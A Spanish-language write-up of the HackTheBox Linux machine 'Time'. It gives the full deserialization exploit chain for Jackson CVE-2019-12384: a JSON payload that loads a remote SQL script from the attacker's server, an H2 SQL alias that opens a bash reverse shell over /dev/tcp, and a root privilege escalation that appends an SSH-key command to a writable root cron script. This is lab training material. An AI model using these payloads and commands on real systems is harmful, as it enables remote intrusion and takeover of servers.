Time es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Time 10.10.10.214 a /etc/hosts como time.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 |
# Nmap 7.70 scan initiated Fri Dec 4 00:52:13 2020 as: nmap -sC -p- -oA enumeration/nmap 10.10.10.214 Nmap scan report for 10.10.10.214 Host is up (0.054s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-title: Online JSON parser # Nmap done at Fri Dec 4 00:52:58 2020 -- 1 IP address (1 host up) scanned in 45.41 seconds |
Encontramos simplemente el puerto 80 por lo que procederemos a revisar el portal web existente en el mismo.
Enumeración
Accedemos a través del navegador y encontramos el siguiente portal:
Es un formulario simple, probamos a introducir cualquier caracter y nos da la respuesta null
Vemos que el desplegable incluye un segundo valor, Beta, así que lanzamos loquesea a través del mismo y obtenemos el siguiente error:
1 |
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'asdf': was expecting ('true', 'false' or 'null') |
Parece que es un fallo en la validación de la librería jackson por lo que buscamos información en google y encontramos el siguiente post donde trata el tema:
Así que siguiendo con la explicación y el ejemplo realizado en el anterior post lanzaremos de nuevo la petición introduciendo el siguiente valor en json:
1 |
{"test"} |
El cual nos devolverá el siguiente error:
1 |
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object |
Volvemos a googlear y encontramos varios post donde trata el tema, mencionando que el error aparece por utilizar los caracteres {} en lugar de [] por lo que lanzaremos de nuevo la petición sustituyendo estos caracteres:
1 |
["test"] |
Y nos da otro error más, pero diferente a los anteriores:
1 |
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'test' as a subtype of [simple type, class java.lang.Object]: no such class found |
Volvemos a buscar en google y en este caso encontramos algo más interesante, una vulnerabilidad conocida cuyo código es CVE-2019-12384 y que además hay una poc explicando la misma que podemos ver en el siguiente enlace:
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
Por lo que siguiendo con la explicación, en primer lugar crearemos un fichero sql con el código mencionado y alguna modificación para abrir una shell inversa:
1 2 3 4 5 6 |
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.14.13/4444 0>&1 &') |
Y para el testeo lanzaremos en el formulario el siguiente payload:
1 |
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.13:8000/inject.sql'"}] |
Ahora necesitaremos varias cosas, primero levantar con python un servidor en local para que el servidor destino pueda obtener el fichero sql, levantar una escucha con netcat y por último ejecutar el payload en el formulario.
Así que realizamos todos los pasos y obtendremos una shell en nuestra escucha con el usuario pericles:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
nc -lvp 4444 listening on [any] 4444 ... 10.10.10.214: inverse host lookup failed: Unknown host connect to [10.10.14.13] from (UNKNOWN) [10.10.10.214] 36718 bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell pericles@time:/var/www/html$ id id uid=1000(pericles) gid=1000(pericles) groups=1000(pericles) pericles@time:/var/www/html$ whoami whoami pericles pericles@time:/var/www/html$ |
Obteniendo la flag de user
Ahora que ya estamos dentro de la máquina con el usuario pericles, vamos a la home de este y obtenemos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
pericles@time:/var/www/html$ cd /home cd /home pericles@time:/home$ ls -l ls -l total 4 drwxr-xr-x 7 pericles pericles 4096 Oct 23 09:45 pericles pericles@time:/home$ cd pericles cd pericles pericles@time:/home/pericles$ ls -l ls -l total 8 drwxr-xr-x 3 pericles pericles 4096 Oct 2 13:20 snap -r-------- 1 pericles pericles 33 Dec 3 23:54 user.txt pericles@time:/home/pericles$ cat user.txt cat user.txt 5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxf pericles@time:/home/pericles$ |
Escalado de privilegios
Completada la primera parte, ahora necesitaremos enumerar el sistema con el objetivo de encontrar algún fallo en el mismo y obtener acceso a root.
Utilizamos LinPEAS para enumerar el sistema y obtener datos importantes dle mismo y encontramos un fichero y un proceso muy interesante:
1 |
-rwxrw-rw- 1 pericles pericles 88 Dec 4 00:15 /usr/bin/timer_backup.sh* |
Y un proceso de este mismo fichero ejecutado por root cada pocos segundos:
1 |
root 5481 0.0 0.0 6972 3484 ? Ss 00:17 0:00 /bin/bash /usr/bin/timer_backup.sh |
Así que como tenemos permisos para escribir en el fichero vamos a añadir un comando al mismo para añadir nuestra clave ssh al fichero authorized_keys de root:
1 |
echo 'echo "YOUR SSH_PUB_KEY" >> /root/.ssh/authorized_keys' >> /usr/bin/timer_backup.sh |
Tan sólo nos queda esperar que se ejecute de nuevo y loguearnos con nuestra clave ssh como root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ ssh -i /tmp/root.pem root@10.10.10.214 The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established. ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 04 Dec 2020 12:20:54 AM UTC System load: 0.64 Usage of /: 22.3% of 29.40GB Memory usage: 9% Swap usage: 0% Processes: 228 Users logged in: 0 IPv4 address for ens160: 10.10.10.214 IPv6 address for ens160: dead:beef::250:56ff:feb9:59b 83 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Thu Oct 22 17:03:52 2020 root@time:~# id uid=0(root) gid=0(root) groups=0(root) root@time:~# whoami root |
Obteniendo la flag de root
Siendo root, como último paso, accedemos a la home de este para conseguir nuestra flag:
1 2 3 4 5 6 7 8 9 |
root@time:~# ls -l total 5776 -rw-r--r-- 1 root root 5900858 Dec 4 00:20 backup.zip -r-------- 1 root root 33 Dec 3 23:54 root.txt drwxr-xr-x 3 root root 4096 Sep 20 12:07 snap -rwxr--r-- 1 root root 88 Oct 22 08:49 timer_backup.sh root@time:~# cat root.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 root@time:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace